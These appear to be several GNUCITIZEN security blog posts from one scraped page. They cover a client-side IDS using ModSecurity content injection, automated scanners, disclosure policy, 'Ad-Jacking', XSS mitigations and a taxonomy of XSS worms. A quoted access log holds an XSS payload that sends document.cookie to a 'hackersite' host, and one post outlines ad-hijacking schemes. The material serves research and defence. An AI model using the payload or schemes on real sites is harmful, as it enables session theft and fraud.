I don’t know how realistic this would be but it could be fun concept to investigate. Imagine setting up modules on your reverse proxy. As user visits the site, different modules could get launched during different requests. One module could detect a user’s browser plugins. One module could detect Tor and other services with Tor. Put the results into a hashing algorithm and you have a semi-unique client fingerprint regardless of IP address (although privacy laws could restrict these kinds of requests). OR, our reverse proxy could inject random code snippets of defense, overwriting and hijacking JavaScript functions (i.e. alert) with our own action (i.e. logging, blocking etc). Check out some of Mario’s code snippets of defense for the idea: here, here, here, and here

So what benefits would a client-side IDS (C-IDS) provide?

• Client side code is interoperable. This means it can be rapidly deployed across any number of networks;
• Client side code works over encrypted sessions. We don’t need to worry about SSL termination issues and reading into encrypted sessions;
• Client side code allows us to hook into the user’s browser where the attacks are happening. This gives us greater control and the possibility to detect advanced anti-filter attacks (obfuscation & polymorphism.);
• Client side code allows us to attack the attacker. We could execute code to determine if the attacker is using Tor or any number of browser-related variables.

Basically, the same engine discussed for Web 2.0 worms could theoritically be used as an additional defense in depth tool. The latest version of ModSecurity (2.5) allows two new rules, "prepend" or "append". These rules allow us to insert HTML/text into our HTTP responses. This type of flexability opens an entire range of doors. Great stuff guys! Here’s an example from ModSecurity Content Injection article:

The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker’s browser to initiate a connection back to our web server.

SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:''"
SecRule RESPONSE_CONTENT_TYPE "^text/html"

So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:

203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=%3Cscript%3Edocument.write('%3Cimg%20src=%22http://hackersite/'+document.cookie+'%22')%3C/script%3E HTTP/1.1" 500 676
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207

As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175. This would mean that in this case, the attacker’s system was not on a private network (perhaps just connecting their computer directly to the internet). Attacker's computer -> Proxy -> Proxy -> etc... -> Target Website.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

• For those who didn’t attend, Rodrigo Marcos discussed his research on hacking PHP sockets for fun and profit. I found the concept very interesting. He discussed hacking PHP sockets; however, the techniques he discusses could be used as an application reverse proxy, although, scalability and stability could be a problem.
• David Kierznowski (myself) gave a talk on practical PHP exploitation techniques using real world examples. I think we scared some of the guys from a certain university who recognised real world vulnerable code in their own applications :)
• Colin Watson opened a can of worms in his discussion of security badges (Hacker Safe, Hacker proof etc). We had a good discussion on this!

I have uploaded my presentation to my site. I spent a lot of time trying to get good screenshots, so I hope it makes it easy to follow for those who couldn’t attend.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Firstly, as always I love offering life experiences instead of just shooting air. Some time ago, a friend of mine decided to try out an automated web application tool against a client site… it turned into one of those, unwise in hindsight experiences! Whilst the tool ran over night, what he would soon find out, is that the tool would submit over 10000 requests to the application, and that this data was being stored on the customers backend database, which was then being replicated and used in other applications. What is worse, the company being tested were a group of corporate lawyers, ouch! In short, it was a painful lesson, and luckily the company got away without a lawsuit!

My second experience was with another good friend of mine. The project was for a large bank, which had already used a popular automated web application tool, and wanted a manual test for benchmarking and future planning. Again, the experience was negative, the automated scanner found some issues, but missed a critical business logic risk which made this particular bank say yes, to us, and limit the tools usage.

The challenges I see with automated web app tools are these:

• AJAX – JavaScript can be a nightmare to parse, and actually next to impossible in some cases. If you have an AJAX application, you don’t want an automated tool.
• Business and application logic – A knowledge of how the application fits together and quirky behaviour often uncovers the most interesting of findings. Creativity is not a strong point for the automated tool
• Pattern recognition – Massive potential for false-positives, depending how the application is setup.
• Non-RFC applications – When playing the TSF, I found the form parse tool giving me back some odd results. When I look into it further, I realised that the developer had used the "target" instead of action, the browser still processed this, as it was using the form BaseURI. Oddities, occur all the time with web apps.
• Denial of Service and business risks – As I shared in my story, although backups are great, I don’t think I would want some automated tool throwing thousands of requests an hour at my live server without really strict monitoring.
• State – I could only think of Captchas as its getting late now, but I am sure there are some other examples where human intervention is required in order to move forward. If the application is tracking state, and using this for access controls, this may completely screw up an automated engine.
• Cost – Some of these tools cost an absolute blinkin’ fortune!

This list is by know means comprehensive but just some initial thoughts I’ve had over the past few weeks. I do see alot of limitations with these tools. However, I really think well-thought and developed tools can really aid a tester and make the job a little easier, if you have the money and time. So what’s left in my opinion? Two things. Of course, I love the Technika Sec Framework concept, as it utilises the browser, and therefore allows us to focus our code and time on the important stuff rather then worrying whether the tool is RFC, and whether it supports A,B & C. Also, because its JavaScript and open, developers far better than I, can have a platform to design some kick ass tools. Second, I really love the HTTP proxy concept, in the form of tamper data or paros type tools.

We hope to use TSF in the future hijack the DOM to provide these features for us. To me, this is the way forward, but of course I am bias :-)

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The advantages here over traditional security tools is that we utilize the existing browser functionality instead of re-inventing the wheel. In other words, Technika doesn’t have to worry about network sockets, SSL libraries, whether its OS independent and so on. Basically, anything the browser can do, we can.

The TS Framework is designed to aid security analysts when testing web applications by providing a degree of automation.

Core Features:

• tech.dspider – DOM link spider; because we utilize the DOM, the results are instant.
• tech.forms – GET/POST form parser.
• tech.mutate – By specifying a payload and regex, we can mutate our target arrays and build tests.
• tech.scan – tech.scan is our actual engine that will handle our GET and POST requests.
• tech.mNikto – Mini-Nikto was named after the popular web application tool Nikto if you haven’t already guessed. We called it mini-nikto as it currently only contains a very small database.
• tech.g – This is one of my favorite tools in the TS framework. It uses the Google AJAX API (JSON) to fetch links and perform other Google hacking queries outside of our current DOM. This is really useful even when it is not security related.
• tech.store – Utilizes the Firefox sessionStorage to allow us to persistently store arrays.

There are a lot more features which we’ll keep as a surprise for the first release. Bellow you can find some screenshots of TSF in action. We will drastically improve the core functionalities in the following weeks.

FYI, there have been some awesome projects going on at GC. .mario and pdp have done a lot of work around XSSDB and PHPIDS integration. If you haven’t already checked it out, I strongly recommend that you do. You wont be disappointed. We launched BlogSecurity a few months back to provide security exclusively for blogs, and we have had some great feedback there as well. SecURLS was also launched as a security portal to keep up to date with whats going on.

This is from me for now. Stay tuned.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

As the GNUCITIZEN group grows, the team continue to find vulnerabilities in software products and applications, and there has been no real set policy around our members disclosure of these vulnerabilities. I think most of us have leaned towards the full-disclosure route. Occasionally, the vulnerability has been fairly critical and we have felt that releasing it early would be irresponsible, especially if the vendor had provided us with an acceptable timescale of when a fix would be available.

I had a recent situation where I released a vulnerability to the vendor and the vendor made the details of the vulnerability public. Although, I had warned users to disable a certain peice of software, I ended up releasing the advisory 2 weeks after my email to the vendor, rather then my prefered 4 week waiting period.

The general policy I have seen adopted is to allow vendors 30-45 days to provide a fix before releasing the full advisory. However, a public flag is released immediately allowing users to disable certain peices of software and to create awareness around the particular vulnerability without disclosing the exact details. This seems to be a win-win situation in many cases, but certainly has its points of controversy.

Although this is an age old debate, it is a question GNUCITIZEN will have to answer shortly.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Whoever prepares a crime according to §202a or §202b and who creates, obtains or provides access to, sells, yields, distributes or otherwise allows access to

• passwords or other access codes, that allow access to data or
• computer programs whose aim is to commit a crime

will be punished with up to one year jail or a fine. Additionally, this new section is interwoven with other laws, including the ones covering terrorism. The current interpretation includes the acceptance of others committing a crime using your (or our) material as violation of §202c.

The main question in my mind when trying to remain objective about this, is whether IT security can be classified within the same category as Locksmiths. Would you feel safe in your home if an open community developed free tools to open various locking mechanisms and distributed those openly? Currently, only registered Locksmiths are allowed toolkits within the UK.

I also see the point that crackers will get the upper-hand as they don’t care about such laws, it will be the security community that suffers.

Whether we like it or not, times are a changing. I strongly believe in win-win situations, the question really is can there by one if the future moves in this direction and what with Net Neutrality.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Ad-Jacking is a term I coined to categorise covert Ad hacking or Ad hijacking schemes.

The traditional Ad hacking system was called, click fraud. This malicious system would exploit PPC (pay-per-click) advertising in some obvious manners. In my opinion the name itself is almost inviting people to be malicious, especially when the beneficiary realises its not "pay per click" but "get paid per click". Ad providers now have a plethora of techniques and wonderful equations to detect and punish click fraud offenders. I believe Ads are also moving away for PPC schemes and more toward PPA (pay-per-action) schemes.

The current Internet Ad schemes generally fall into one of these categories:

So what are our payload ideas here? It is possible to exploit CPC and CPM, but I think this would be fairly noisy and quickly picked up on by the Ad provider and as I mentioned earlier these may be the last days for PPC Ads; however, a suitable malicious algorithm utilising multiple Ad providers might prove effective. CPA on the other hand is more subtle in my opinion, and I can see attackers leaning more toward this approach.

I don’t want to repeat myself to much, as I have discussed some proof of concept attacks in the following articles:

• Ad-Jacking Affiliate Anchor Tags
• XSS for Fun and Profit

The danger with Ad-Jacking is that it requires little or no user intervention from the attackers point of view. It should also be understood that although my ideas are centered around an XSS engine, the reality is that anything from a backdoored browser plugin or greasemonkey script, to a heap spray or buffer overflow payload could be used. Imagine the possibilities of a client-side Ad-Jacking worm! It inserts the attackers Ads onto pages… it rewrites affiliate IDs… the malicious potential here is apparent. Also, because the attack is client-side based, it is much more difficult to detect.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Implement logical seperation for Internet zones via a browser policy or use different versions of the browser for different network level access.

For clarity, we obviously mean implementing this a layer above the current same-origin-policy or else XSS or future attacks may be used to circumvent these controls. The idea here is to create a logical seperation between RFC1918 (private and reserved IP ranges) and the Internet. There are a few challenges, namely:

• A number of big names such as Google and Adobe are pushing applications that bridge the desktop and browser, so you’d certainly be swimming against the current on this one.
• How will this affect other browser controls such as file uploads and other DOM based controls? Imagine the costs involved.
• is it really feasible to expect users to have a different profile when viewing say an Intranet site and when browsing the Internet

Vulnerability researchers and developers need to take XSS as a high priority to ensure quick remediation.

This is the human factor, so this will require a reward and penalty system to encourage this or has anyone got any mind-control syrup handy? The XSS risk rating is definately higher since the Samy worm and research conducted by ourselves and others, this has helped awareness, but I think its an optimistic view indeed, if we think corporate bodies will drop everything to resolve an XSS issue, in fact, I was in a meeting of this sort recently.

Use whitelists and update services effectively to prevent exposire and to decrease the attack surface

This is an excellent suggestion and one that most companies should already have in place via proxy servers. However, this doesn’t really help our home users and looking at xssed.com, I don’t think whitelists are going to help a great deal right now, but certainly in the future.

Developers should use a vul-IDE tool to alert them of poor code decisions;

Yes this would help to a degree, but again the costs and complexity of these tools are not attractive to the general market.

Logging and alerting on web applications to detect attacks;

Every company should already be doing this. This would really require human intervention which is costly as XSS attacks can be represented in a variety of ways making it very difficult for alerting systems to detect. Also, some XSS vectors may be DOM or browser based, so the attack materialises on the client-side rather then via the network.

Security testing is optional

Car manufacturers would NEVER release a car onto the market without sufficient safety and quality assurance tests, why would software be any different? Looking over the above options, security testing is probably one of the most cost-effective and security-effective solutions available.

Some interesting and well-thought ideas there by ntp. I think these mitigation controls or atleast most of them are to be used in policies later on after we have solved the initial problems. The initial challenge can be summed up in these wise words, "How do you eat an elephant? One peice at a time". I think we are in for the long-haul, a quick solution just wont cut it; carefully thought out procedures, standards and metrics need to be in place first.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The Samy XSS Worm – the first of its kind to make headlines carried a payload that would display the string but most of all, Samy is my hero on a victim’s profile. When a user viewed that profile, the worm would infect the visitor’s profile via a Cross-Site Scripting payload. Within just 20 hours, of its October 4, 2005 release, over one million user profiles were infected, making Samy one of the fastest spreading viruses of all time. In this post, I am going to summarize several publicly discussed JavaScript Malware techniques and depict how future worms may look like, based on what we have today.

XSS is a powerful engine on which to build a platform independent virus and whether we are ready or not, attackers are definitely going to be utilising these techniques in the future and the ground work and education factors must be put into place now. Think about this, an XSS engine has the potential to propagate much faster than an operating-system based worm, requires less effort in many cases (not all), requires little or no authentication and is client-side which means the XSS engine can propagate across network boundaries utilising the user’s circle of trust. This is almost the antithesis of traditional worms, which are server-side meaning it struggles to propagate over network boundaries and they usually require high operating-system level access.

XSS engines will require these fundamentals:

• ability to identify targets (the XSS vulnerability);
• an XSS payload (the purpose or exploit); and
• continuity (the propagation technique).

This article will introduce Scrape, Specific and Generic XSS engines.

Scrape

Scrape XSS Worms utilise external resources to identify targets (i.e. Google, xssed.com) – pdp recently released an article titled, The Next Super Worm which basically uses xssed.com to identify vulnerable targets. Note that this example "scrapes" the targets from a third party resource.

Specific

Specific XSS Worms usually have an individual target – the Samy XSS worm is a perfect example here. It exploited a specific vulnerability in a specific target. Its focus is not to spread across network(s) but rather to remain in once place infecting a particular aspect of a website or service.

Generic

Generic XSS Worms which make assumptions – an example here would be a worm which exploits environment variables in application frameworks like PHP’s $_SERVER['PHP_SELF']. This method is ideal for blind XSS worms, where you do not know what the web server is running ( i.e. my wp-scanner tool uses generic XSS tests to find vulnerabilities in WordPress themes; it doesn’t care what theme the user is running). Another really good example is Solarius’s recently found XSS vulnerability in ASP.NET’s PATH_INFO variable which affects the latest version of SharePoint and possibly many other ASP.NET applications. The Generic XSS engine category could also extend to include web server or application flaws (i.e. XST, Universal PDF XSS etc).

I hope I have given you some fruit for thought, and to encourage the Internet community to move forward in coming up with new techniques, methods and strategies to combat the rise of client-side flaws. Web 2.0 security will require us to lengthen our strides if we are to come up with effective solutions; a number of excellent contributions and ideas have already begun and we encourage these individuals and organizations to continue on.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores